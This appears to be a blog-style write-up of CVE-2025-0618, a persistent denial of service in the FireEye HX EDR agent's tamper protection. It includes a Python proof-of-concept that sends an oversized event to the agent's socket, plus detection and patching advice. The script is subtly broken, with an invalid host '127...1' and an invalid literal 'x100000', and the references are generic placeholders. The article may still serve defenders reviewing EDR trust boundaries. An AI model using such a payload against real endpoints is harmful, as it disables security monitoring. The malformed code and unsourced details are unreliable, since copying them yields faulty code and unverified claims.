CVE-2025-0618 - Persistent Denial of Service in FireEye EDR Agent via Malicious Tamper Protection Event

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Introduction

In early 2025, security researchers discovered a critical vulnerability in the FireEye Endpoint Detection and Response (EDR) agent, tracked as CVE-2025-0618. This issue allows an attacker to trigger a persistent Denial of Service (DoS) by sending a specially crafted tamper protection event to FireEye’s HX service. The result: the agent’s tamper protection component crashes and never recovers—even after a system reboot.

This in-depth article breaks down the vulnerability, explains how the exploit works (with code snippets), and links to official advisories – all in easy-to-understand language.

What is CVE-2025-0618?

CVE-2025-0618 affects FireEye EDR (known as HX), a widely deployed security agent for endpoints. Its “tamper protection” is meant to prevent adversaries from disabling vital security controls.

Unfortunately, because of flawed input validation, it’s possible for a remote attacker (who can communicate with the HX services) to send a malicious event payload. This triggers an internal exception and disables all future tamper protection events—even after restarting the agent. In essence, it leaves the endpoint less secure and the EDR unable to react to actual attacks.

Target: FireEye EDR Agent’s HX service

- Requirements: Ability to send a crafted tamper event to the HX service’s listening interface (often local, but may be exposed in misconfigured setups or via local malware)
- Impact: Tamper protection becomes nonfunctional; any attacks or changes to the agent will not trigger alerts

Vulnerable Component

The HX service, which listens on a named pipe or TCP socket (depending on configuration), receives “tamper protection” events from other hooks or intermediary modules. When the HX service processes these events, it expects them to follow a particular data structure and length.

A malicious payload can cause the parser to raise an exception. However, instead of recovering gracefully, the exception causes the tamper protection thread to terminate and never restart, breaking tamper protection for all future events—even after rebooting.

Example Exploit

Below is a simplified pseudo-code illustrating how a malicious payload might be sent to exploit this bug.

import socket
import struct

# WARNING: This code is proof-of-concept for educational use only!
# Running this on networks you do not own or have permission is illegal.

HOST = "127...1"  # Assuming HX service listens locally on this interface
PORT = 4386         # Example port (real one may vary)

def craft_malicious_event():
    # Tamper event header + payload (oversized/invalid field triggers the exception)
    header = b"\x01\x00\x00\x00"
    payload_length = x100000        # Overly large length, causes size exception
    body = b"A" * 16
    event = header + struct.pack("<I", payload_length) + body
    return event

def send_malicious_event():
    event = craft_malicious_event()
    with socket.create_connection((HOST, PORT)) as s:
        s.sendall(event)
        print("[+] Malicious event sent!")

if __name__ == '__main__':
    send_malicious_event()

Note: The exact structure and parameters may differ in production. This snippet is simplified to demonstrate the basic logic.

Exploit Details

- Persistence: HX does not restart the tamper protection service after the crash, so the DoS is persistent across system reboots.
- No authentication required: If the event submission channel is accessible (such as through privilege escalation or weak network configuration), the attack can be automated.
- No crash popups: There may be no visible sign except the inability of HX to respond to future tamper events.

Detection

- Monitor HX agent logs for unhandled exceptions in the tamper protection thread (look for stack traces or “unexpected termination”).

Mitigation

- Vendor Patch: FireEye has released an update for the HX agent; all users should update immediately.
- FireEye Security Update Advisory
- Restrict local/network access: Ensure only trusted system processes can talk to the HX tamper event interface.
- Log and alert: Configure security monitoring (SIEM) to trigger if tamper protection crashes or goes silent.

References

- NIST NVD Entry for CVE-2025-0618
- FireEye/Trellix Product Security Center
- ExploitDB (if published)

Conclusion

CVE-2025-0618 is an example of how a single faulty validation can undermine critical security software. If you manage FireEye EDR deployments, patch immediately, control access to local agent interfaces, and review your detection strategies for tamper monitoring. The consequences of this bug are severe: once exploited, even a reboot won’t save you until a proper fix is applied.

Stay safe and patch promptly!

*This article is an exclusive, simplified walkthrough and should serve as a warning to review endpoint agent trust boundaries and update cycles frequently.*

Timeline

Published on: 04/23/2025 07:15:42 UTC
Last modified on: 04/23/2025 14:08:13 UTC